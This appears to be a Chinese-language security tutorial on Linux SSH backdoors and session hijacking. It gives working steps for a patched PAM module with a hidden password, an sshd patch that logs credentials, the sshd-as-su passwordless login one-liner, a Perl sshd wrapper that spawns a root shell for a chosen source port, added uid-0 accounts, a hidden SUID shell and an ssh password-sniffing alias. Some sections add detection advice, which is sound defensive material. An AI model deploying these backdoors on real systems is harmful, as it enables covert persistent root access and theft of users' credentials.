1. 安全攻防觀點
0x1:For the Attacker
- Use System Builtin's to Simulate Rootkit Functionality. Stop relying on tools: "Master the environment.":盡量做到潤物細無聲,即把rootkit偽裝成系統正常的工具、行為
-
Everything Is A Weapon:內力所到之處,皆為兵刃,對於操作系統的任何一個特性,只要找到正確的使用方法和組合模式,都極有可能形成一條入侵向量
0x2:For the Defender
- Know Your System, Before I Use it Against You. Thinking like an attacker: "Flip the evil bit."
-
Know Your Enemy : Know Your System:客戶端攻防的戰場主要在操作系統層面,同時也包括了和系統銜接的WEB、遠程LOGIN等模塊,了解它們的特性(尤其是高性能、邊緣特性)才能更好地作出針對性的防御
-
Effectivness != Complexity:攻防是一個整體性的工程化項目,任何一個維度的漏洞都能夠導致被黑客入侵,因此並一定說內核攻防就比應用層攻防重要,它們是同等重要的。攻防手段的有效性並不一定需要通過復雜性來保證
Relevant Link:
https://www.blacklodgeresearch.org/files/7613/6963/4840/Poor_Mans_Root_Kit_BLR_talk_PUBLIC_2013.pdf
2. SSH Pam后門
PAM(插入式驗證模塊(Pluggable Authentication Module,PAM))簡單來說,就是提供了一組身份驗證、密碼驗證的統一抽象接口,應用程序員可以使用這些API接口來實現與安全性相關的功能,PAM可以作為Linux登錄驗證(包括SSH)的統一驗證入口點,也同樣出於一點,黑客可以利用PAM部署SSH代碼級的邏輯后門
0x1: 查詢本機的PAM版本
0x2: 下載對應的源代碼文件
http://pkgs.fedoraproject.org/repo/pkgs/pam/Linux-PAM-0.99.6.2.tar.bz2/52844c64efa6f8b6a9ed702eec341a4c/ http://www.linux-pam.org/pre/history/ http://www.linux-pam.org/pre/library/
0x3: 對原始的PAM so文件進行備份
cd /lib64/security
ll pam_unix.so
mv pam_unix.so pam_unix.so.bak
0x4: 修改源文件,添加邏輯后門
cd /zhenghan/pam-backdoor/Linux-PAM-0.99.6.2/modules/pam_unix vim pam_unix_auth.c
0x5: 重新編譯pam模塊
cd /zhenghan/pam-backdoor/Linux-PAM-0.99.6.2/ ./configure make
0x6: 使用包含邏輯后門的pam模塊替換系統默認的pam模塊
cp /zhenghan/pam-backdoor/Linux-PAM-0.99.6.2/modules/pam_unix/.libs/pam_unix.so /lib64/security/pam_unix.so
0x7: 測試后門
1. 使用正常root帳號、密碼登錄 2. 使用root帳號,后門密碼(pam)進行隱藏登錄
0x8: 對抗檢測方法
pam_unix是系統原生的模塊,可以使用RPM的校驗機制進行篡改檢測
1. centos rpm校驗已安裝包是否被修改 rpm -qV pam ....L.... c /etc/pam.d/fingerprint-auth ....L.... c /etc/pam.d/password-auth ....L.... c /etc/pam.d/smartcard-auth ....L.... c /etc/pam.d/system-auth S.?...... /lib64/libpam.so.0.82.2 S.?...... /lib64/libpam_misc.so.0.82.0 S.5....T. /lib64/security/pam_unix.so 結果含義 /* 如果一切均校驗正常將不會產生任何輸出。如果有不一致的地方,就會顯示出來。輸出格式 1. 8位長字符串: 8位字符的每一個 用以表示文件與RPM數據庫中一種屬性的比較結果("."表示檢測通過) 1) S: 文件大小 2) M: 模式e (包括權限和文件類型) 3) 5: 校驗和(md5)、?: 文件不可讀 4) D: 設備 5) L: 符號鏈接 6) U: 用戶 7) G: 組 8) T: 文件修改時間 2. c: 用以指配置文件 3. 文件名 */ 2. ubuntu dpkg -V libpam-modules ??5?????? c /etc/security/limits.conf ??5?????? /lib/x86_64-linux-gnu/security/pam_unix.so
從二進制的角度來看,被植入了代碼級邏輯后門的so文件可以被當成病毒處理,通過提取邏輯后門附近的二進制特征碼,加入殺毒特征庫,可以實現對此類后門的查殺,並禁止其被ssh加載
1. 提取包含邏輯后門的pam_unix.so的特征碼 2. 加入殺毒特征庫 3. 禁止邏輯后門pam_unix.so模塊被ssh進程加載
Relevant Link:
http://w ww.csdn123.com/html/itweb/20130911/112822_112821_112829.htm http://www.cnblogs.com/LittleHann/p/3662161.html http://bobao.360.cn/learning/detail/454.html http://www.awaysoft.com/taor/rpm%E6%A0%A1%E9%AA%8C%E5%B7%B2%E5%AE%89%E8%A3%85%E5%8C%85%E6%98%AF%E5%90%A6%E8%A2%AB%E4%BF%AE%E6%94%B9.html
3. SSHD后門
0x1:查看SSH版本
ssh -V OpenSSH_7.2p2 Ubuntu-4ubuntu2.4, OpenSSL 1.0.2g 1 Mar 201
0x2:下載SSH源碼包
下載並修改sshd源碼
vi includes.h //修改后門密碼,記錄文件位置, /* +#define ILOG "/tmp/ilog" //記錄登錄到本機的用戶名和密碼 +#define OLOG "/tmp/olog" //記錄本機登錄到遠程的用戶名和密碼 +#define SECRETPW "123456654321" //后門的密碼 */
0x3:插入后門代碼邏輯
- 使用設置的后門密碼,直接跨越驗證邏輯登錄
- 記錄root及其他帳號的登錄記錄,相當於key logger
0x4:還原sshd_config文件時間戳
touch -r sshd_config.bak ssh_config
0x5:重啟服務或重新載入配置
service sshd reload
0x6:對抗檢測方法
- 二進制特征檢測
- 通過ELF格式動態定位到目標函數的位置
- 在目標函數內部采用clamav的特征庫定位方式:【特征:offset:length】
- 使用系統rpm檢測ssh的完整性
- 檢測程序中的string特征字符串,黑客部署的邏輯后門代碼一般都有一段字符串特征碼
- 嘗試任意密碼登錄ssh,檢查是否被黑客部署了"無密碼邏輯后門",即黑客在判斷邏輯中直接加入了return語句,跳過任何密碼檢查邏輯
Relevant Link:
http://www.freebuf.com/tools/10474.html https://www.jianshu.com/p/b394528051c6
0x7:利用系統服務程序配置文件
修改:/etc/inetd.conf
daytime stream tcp nowait /bin/sh sh –I
用trojan程序替換in.telnetd、in.rexecd等 inted的服務程序重定向login程序。
4. $HOME/.ssh/known_hosts信息收集
“$HOME/.ssh/”目錄下保存了本機的ssh登錄記錄,保存在“known_hosts”中,攻擊者通過該文件可以直接獲得DMZ/VPC或者常見下一跳IP。
在黑客控制了一台用戶機器之后,通過查看known_hosts收集信息,將有可能獲取到當前主機連接的下一台跳板機、內網、DMZ機器,以此擴大攻擊面
Relevant Link:
https://www.defcon.org/images/defcon-15/dc15-presentations/Moore_and_Valsmith/Whitepaper/dc-15-moore_and_valsmith-WP.pdf
5. SSH Session Hijacking without Re-Authentication
Hijacking SSH By Setup A Tunnel Which Allows Multiple Sessions Over The Same SSH Connection Without Re-Authentication
0x1:SSH multiplexing特征
Multiplexing is the ability to send more than one signal over a single line or connection.
With multiplexing, OpenSSH can re-use an existing TCP connection for multiple concurrent SSH sessions rather than creating a new one each time.
0x2:Setting Up Multiplexing
需要明白的是,SSH劫持是發生在被黑客控制的機器上,黑客通過SSH劫持,希望能夠無密碼獲得當前用戶連接的遠程ssh會話。
黑客需要修改的配置文件是受控制的用戶機器上的配置文件。
1. 修改ssh配置【攻擊者有root權限】
vim /etc/ssh/ssh_config /* .. ControlPath /tmp/%r@%h:%p ControlMaster auto ControlPersist yes .. */
開啟了ControlMaster模式之后,如果當前用戶已經成功登錄過一次目標機器(例如遠程跳板機、DMZ機器),則黑客可以利用Multiplexing技術直接"無密碼"登錄同樣的那台服務器。
簡單來說,SSH的密碼驗證是基於TCP Connection級別的,而不是會話Session界別的,當發生Multiplexing的時候,黑客的Session可以直接繞過任何的登錄驗證。
2. 修改ssh配置【攻擊者沒有root權限】
vim $HOME/.ssh/config /* .. ControlPath /tmp/%r@%h:%p ControlMaster auto ControlPersist yes .. */
3. 修改ssh配置【在.bashrc里封裝ssh命令】
vim $HOMW/.bashrc /* .. ssh () { /usr/bin/ssh -o "ControlMaster=auto" -o "ControlPath=/tmp/%r@%h:%p" -o "ControlPersist=yes" "$@"; } .. */
利用了Linux Bash的自定義函數的方式、SSH動態配置參數的特性實現了開啟ControlMaster模式。
0x3:攻擊者復用Multiplexing模式下的Socket會話進行SSH連接
This socket can be used to create further sessions, without credentials, even after the original user exits their session.
0x4:對抗檢測方法
- 檢查ssh的配置文件中,是否開啟了ControlMaster模式
- /etc/ssh/ssh_config
- $HOME/.ssh/config
- 檢查bash自定義函數中是否有ssh()劫持
- set | grep "ssh()"
Relevant Link:
https://en.wikibooks.org/wiki/OpenSSH/Cookbook/Multiplexing http://unix.stackexchange.com/questions/22965/limits-of-ssh-multiplexing http://www.anchor.com.au/blog/2010/02/ssh-controlmaster-the-good-the-bad-the-ugly/ http://www.revsys.com/writings/quicktips/ssh-faster-connections.html
6. Hijacking Active SSH Screen Sessions
ssh_user用戶使用screen管理ssh會話時的情景
當ssh_user使用
screen ssh root@112.124.20.20
連接遠程的"112.124.20.20"時,會在/var/run/screen有顯示相應的文件。
ls -la /var/run/screen/
可以用screen -r root/來接管會話
注入screen的ssh會話,會有一個不好的地方,就是你敲的命令,會在當前正在連接的用戶那里同時顯示,容易被發現
0x1:對抗檢測方法
- 檢測/var/run/screen/是否包含screen會話,這從某種程度上算是一種可疑事件
Relevant Link:
http://0xthem.blogspot.com/2015/03/hijacking-ssh-to-inject-port-forwards.html http://drops.wooyun.org/tips/5253
7. dynamic tunnel in existing SSH session
we can create a dynamic tunnel inside an existing master socket
lsof -i TCP:9090
ssh -O forward -D 9090 -S /tmp/root@112.124.20.20\:22 %h lsof -i TCP:9090
通過注入命令實現端口轉發,執行完這條命令后,我們就可以使用這台機器的9090端口做SOCKS5代理,訪問下一跳的網段。同時不會增加新的TCP會話,而是復用了老的ssh會話,所以可以理解為是一個ssh隧道。
前面說過,如果ControlPersist為yes,則不會自動刪除sockets文件,我們可以手工rm刪除/tmp/root@112.124.20.20\:22,也可以優雅的使用
ssh -O exit -S /tmp/root@112.124.20.20\:22 %h
8. 利用ssh pam認證機制實現ssh root免密后門
0x1:實現過程
在被控制的服務器上執行如下指令,創建一個名為su的指向sshd的軟鏈接。
ln -sf /usr/sbin/sshd /tmp/su;nohup /tmp/su -oPort=2022 &
然后打開一個新的登陸會話,賬戶root,密碼任意,可以直接登錄成功。
注意,被控制服務器(部署ssh后門的服務器)需要配置“允許root登錄”以及“開啟pam認證”。
0x2:實現原理
當進程名為su的進程啟動時,由於其觸發了auth登錄驗證(類似於在命令行執行su xxx指令)。系統會讀取“/etc/pam.d/su”內的配置信息。
以ubuntu為例,

root@iZuf651jh0tfb2bx32x9lpZ:~# cat /etc/pam.d/su # # The PAM configuration file for the Shadow `su' service # # This allows root to su without passwords (normal operation) auth sufficient pam_rootok.so # Uncomment this to force users to be a member of group root # before they can use `su'. You can also add "group=foo" # to the end of this line if you want to use a group other # than the default "root" (but this may have side effect of # denying "root" user, unless she's a member of "foo" or explicitly # permitted earlier by e.g. "sufficient pam_rootok.so"). # (Replaces the `SU_WHEEL_ONLY' option from login.defs) # auth required pam_wheel.so # Uncomment this if you want wheel members to be able to # su without a password. # auth sufficient pam_wheel.so trust # Uncomment this if you want members of a specific group to not # be allowed to use su at all. # auth required pam_wheel.so deny group=nosu # Uncomment and edit /etc/security/time.conf if you need to set # time restrainst on su usage. # (Replaces the `PORTTIME_CHECKS_ENAB' option from login.defs # as well as /etc/porttime) # account requisite pam_time.so # This module parses environment configuration file(s) # and also allows you to use an extended config # file /etc/security/pam_env.conf. # # parsing /etc/environment needs "readenv=1" session required pam_env.so readenv=1 # locale variables are also kept into /etc/default/locale in etch # reading this file *in addition to /etc/environment* does not hurt session required pam_env.so readenv=1 envfile=/etc/default/locale # Defines the MAIL environment variable # However, userdel also needs MAIL_DIR and MAIL_FILE variables # in /etc/login.defs to make sure that removing a user # also removes the user's mail spool file. # See comments in /etc/login.defs # # "nopen" stands to avoid reporting new mail when su'ing to another user session optional pam_mail.so nopen # Sets up user limits according to /etc/security/limits.conf # (Replaces the use of /etc/limits in old login) session required pam_limits.so # The standard Unix authentication modules, used with # NIS (man nsswitch) as well as normal /etc/passwd and # /etc/shadow entries. @include common-auth @include common-account @include common-session
重點是這行:
auth sufficient pam_rootok.so
sufficient 表示只要這行滿足,直接返回登錄成功。
Linux man 手冊上關於 pam_rootok.so 的介紹
看一下pam_rootok.so的源碼,
關鍵點在於紅框部分,模塊會調用getuid(),如果get的uid為0,它會檢查selinux的root是否為0或是否在啟用selinux下為0,是0,則返回認證成功,否則認證失敗。
在正常情況下,如果是root賬戶執行su指令,會直接忽略密碼驗證,這是系統設計這個機制的本意。
但是這里攻擊者將sshd軟連接為su進程,從而借助sudo的root免密驗證機制,實現了免密ssh后門的目的。
Relevant Link:
https://www.freebuf.com/articles/system/138753.html
9. 利用perl實現sshd后門
0x1:后門代碼實現
將原本的”/usr/sbin/sshd“備份,用下列這個perl腳本代替之,
#!/usr/bin/perl exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/); exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
- exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/):如果當前文件句柄STDIN是一個socket,且socket的遠程連接源端口是31334(Big 網絡字節序中的16進制字符串為\x00\x00zf, 正好匹配上perl正則 ..zf),則執行/bin/sh,並結束當前程序運行(不會執行第二步),相當於反彈一個root shell (因為sshd 是以root權限運行的)給遠程socket
- exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV:啟動sshd (/usr/bin/sshd是真正的sshd)服務 ,凡是傳遞給/usr/sbin/sshd (后門)的參數都傳遞給真正的sshd (這一行保證了普通用戶也可以正常使用ssh 服務,登錄並不會有什么異常現象)
0x2:后門部署過程
# 將真正的sshd 移至/usr/bin/sshd, mv /usr/sbin/sshd /usr/bin/sshd # 將后門sshd (perl腳本移動至/usr/sbin/sshd),並授予執行權限 chmod +x /usr/sbin/sshd # 重啟 ssh 服務 /etc/init.d/ssh restart # 在控制端執行以下操作,即發起ssh后門連接: socat STDIO TCP4:10.1.100.3:22,sourceport=31334 這行命令的意思是說,將輸入輸出重定向至於socket 10.1.100.3:22(部署了sshd后門的機器ip)。這樣后門perl腳本中STDIN就是socket了, 且這個socket的源端口為31334 # 這行命令等價於 socat -TCP4:10.1.100.3:22,sourceport=31334
這樣就可以無需認證 (因為還未到sshd認證階段就反彈root shell了),實現獲取控制端系統shell的目的,也即一個ssh后門。
為了增強隱秘性, 我們可以將copy 一份/bin/sh, 重命名為/bin/sshd,修改后門源碼為:
#!/usr/bin/perl exec"/bin/sshd"if(getpeername(STDIN)=~/^..zf/); exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
控制端再次連接后查看網絡連接情況,會看到有一個叫sshd的進程,打開了一個socket句柄。
Relevant Link:
https://www.freebuf.com/articles/system/140880.html
10. 系統后門賬號添加
0x1:Windows $隱身賬號
0x2:增加Linux root增加超級用戶
echo "mx7krshell:x:0:0::/:/bin/sh" >> /etc/passwd
如果系統不允許uid=0的用戶遠程登錄,可以增加一個普通用戶賬號
echo "mx7krshell::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
11. X置位后門
0x1:放置SUID Shell
普通用戶在本機運行/dev/.rootshell,即可獲得一個root權限的shell。
cp /bin/bash /dev/.rootshell
chmod u+s /dev/.rootshell
12. Linux環境變量后門
0x1:alias 后門
當前用戶目錄下.bashrc
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'